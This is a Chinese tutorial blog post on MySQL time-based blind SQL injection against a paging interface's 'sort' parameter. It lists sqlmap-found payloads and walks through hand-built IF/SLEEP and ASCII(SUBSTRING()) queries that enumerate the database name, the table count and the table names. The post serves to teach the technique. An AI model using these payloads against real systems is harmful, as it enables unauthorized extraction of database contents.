mysql时间延时注入案例
通过Burpsuite结合sqlmap发现如下接口存在时间盲注
select * from information_schema.tables where id=1 union select sleep(if(length(database())=5,2,0)),2,3;
select database()
select length(database())
SELECT * FROM (SELECT(SLEEP(5)))PQfL
SELECT * FROM (SELECT(SLEEP(5)))a
SELECT(SLEEP(5))
page=1&rows=15&sort=CREATE_DATE AND if(length(database())=11,sleep(1),1)&order=desc
page=1&rows=15&sort=CREATE_DATE AND if((select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc
page=1&rows=15&sort=CREATE_DATE AND (if(select count(*) from information_schema.tables where table_schema =database())=248,sleep(1),1)&order=desc
if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(1),1)
page=1&rows=15&sort=CREATE_DATE AND (SELECT * FROM (SELECT(SLEEP(1)))PQfL)&order=desc
手工注入案例:
首先分析sqlmap的跑出来的用例:
下面开始构造测试案例的sql:
先分析一下if的作用
如果length(database())=数据库表名长度 ,则执行sleep(1),否则执行1
所以通过尝试猜解,得出数据库名的长度
if(length(database())=11,sleep(1),1)
原始案例执行sleep(1),延时并执行成功
所以以sleep(1)作为基准测试
猜测数据库名的长度:
当尝试数据库名长度为9的时候,执行的sleep(1)
当尝试数据库名长度为10的时候,执行
当尝试数据库名长度为11的时候,执行的sleep(1)
猜测当前数据库里有多少张表
当尝试数据库中表个数为248的时候,执行的sleep(1)
当尝试数据库中表个数为250的时候,执行的sleep(1)
猜表名:
先理解mysql中的几个特殊函数:
MySQL字符串函数substring:字符串截取
MySQL 字符串截取函数:left(), right(), substring(), substring_index()。
还有 mid(), substr()。其中,mid(), substr() 等价于 substring() 函数,substring() 的功能非常强大和灵活。
if(select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=97,sleep(1),1);
select substring('example.com', -4, 2)
select substring('example.com', 4, 1);
select substring('example.com', 1, 1);
select ascii(substring('example.com', 4, 1));
select distinct concat(table_name) from information_schema.tables where table_schema=database()
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 //查询第1张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 //查询第2张表名
select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 2,1 //查询第3张表名
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1) //第1张表的第1个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),2,1) //第1张表的第2个字符
select substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),3,1) //第1张表的第3个字符
select ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)) //查询字符的ascii编码
page=1&rows=15&sort=CREATE_DATE AND if(ascii(substring((select distinct concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=96,sleep(1),1)&order=desc
当猜测第一个字符串为96时,
不报错,说明执行sleep(1)
当为97时
此时,执行的是1
当为98时
97的asccii编码对应的为a,其他的依次类推
猜测数据库表名的第一个字符:




所以第一个字符的asccii编码为115 即s(snsdb_test)
一般猜解的方法:
数据库长度--逐个字符猜解数据库名--数据库中表的个数--表名长度--表名-列名和字段
http://blog.csdn.net/qq_32400847/article/details/53699714
参考:
http://blog.csdn.net/qq_32400847/article/details/53699714
http://www.cnblogs.com/ichunqiu/p/5864833.html
https://www.waitalone.cn/mysql-injection-summary.html
http://www.cnblogs.com/0x03/p/7451292.html
http://blog.csdn.net/jinzhichaoshuiping/article/details/45568883
http://www.cnblogs.com/dongchi/p/5079138.html
http://blog.csdn.net/qq_27446553/article/details/51794326
mysql时间延时注入案例的更多相关文章
- mysql 延时注入新思路
转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...
- Sqli-LABS通关笔录-8[延时注入]
通过该关卡我学习到了 1.if语句的三目运算符(其实说白了也就是php里的三位运算符) 2.sleep函数 3.substring函数(其实和substr一样) 4.limit的灵活运用 5. Sta ...
- MySQL 数据库增量数据恢复案例
MySQL 数据库增量数据恢复案例 一.场景概述 MySQL数据库每日零点自动全备 某天上午10点,小明莫名其妙地drop了一个数据库 我们需要通过全备的数据文件,以及增量的binlog文件进行数据恢 ...
- Mysql存储过程知识,案例--mysql存储过程基本函数
Mysql存储过程知识,案例: create procedure delete_setting(in p_settingid integer) begin delete from setting wh ...
- sqli-labs:7,导入导出;8-10 延时注入
1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...
- MySQL防范SQL注入风险
MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...
- 【菜鸟学注入】之MySQL报错注入详解
本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...
- mysql 带外注入
带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...
- MySQL时间类型及获取、展示处理
MySQL时间格式 mysql所支持的日期时间类型有:DATETIME. TIMESTAMP.DATE.TIME.YEAR. 几种类型比较如下: 日期时间类型 占用空间 日期格式 最小值 最大值 零值 ...
随机推荐
- Linux系统平均负载3个数字的含义
越来越多人开始接触Linux操作系统,从VPS到无线路由的刷机系统(如OpenWRT.Tomato),同时也必不可少地会在各式各样的探针和系统监测界面上看到"系统平均负载"或者&q ...
- Spring MVC的核心控制器DispatcherServlet的作用
关于Spring MVC的核心控制器DispatcherServlet的作用,以下说法错误的是( )? 它负责接收HTTP请求 加载配置文件 实现业务操作 初始化上下应用对象ApplicationC ...
- ansible笔记(4):常用模块之文件操作
前文中,我们已经介绍了怎样使用模块,而且我们知道,ansible有很多模块,每个模块都有自己的功能,"模块"涉及到的方向比较多,所以对于个人来说,并没有必要了解所有的模块,我们只需 ...
- 调整linux进程优先级
使用环境 当服务器资源比较紧张的时候,可以通过调整优先级来优先处理某个进程的请求 查看进行优先级(top) 优先级由 -20~19这个范围来表示优先级大小,数值越小,优先级越高, 设置方法: 使用re ...
- Python-爬虫-猫眼T100
目标站点需求分析 涉及的库 from multiprocessing import Poolfrom requests.exceptions import RequestExceptionimport ...
- iOS 上线过程中出现的问题总结
1: 因为使用后台播放音乐,在 info 里面添加 required background modes 的 key, 如果你的代码里面没有后套播放音频的功能, 不要添加 required back ...
- Confluence 6 使用 Apache 的 mod_jk
在 Confluence 6 及其后续版本中,不能使用 mod_jk 来做代理.这是因为 Synchrony 服务导致的这个限制. Synchrony 在协同编辑的时候需要启动,同时还不能接受 A ...
- Confluence 6 通过 SSL 或 HTTPS 运行 - 确定你的证书路径
在默认的情况下,Tomcat 希望 keystore 文件被命名为 .keystore 文件,同时这个文件应该放置在 Tomcat 运行的 home 目录中(这个目录可能与你自己的 Home 目录的路 ...
- Confluence 6 字符集编码的问题解决
如果你的 Confluence 站点的字符集没有被正确配置,你可能会遇到下面的问题: Non-ASCII 字符将会显示为问号(?) Non-ASCII 字符集的页面链接将不能工作 单一字符将会被显示为 ...
- Confluence 6 MySQL 创建数据库和数据库用户
一旦你成功的安装和配置了 MySQL 数据库服务器,你需要为你的 Confluence 创建数据库和数据库用户: 在 MySQL 中以超级用户运行 'mysql' .默认的用户为 'root' 同时密 ...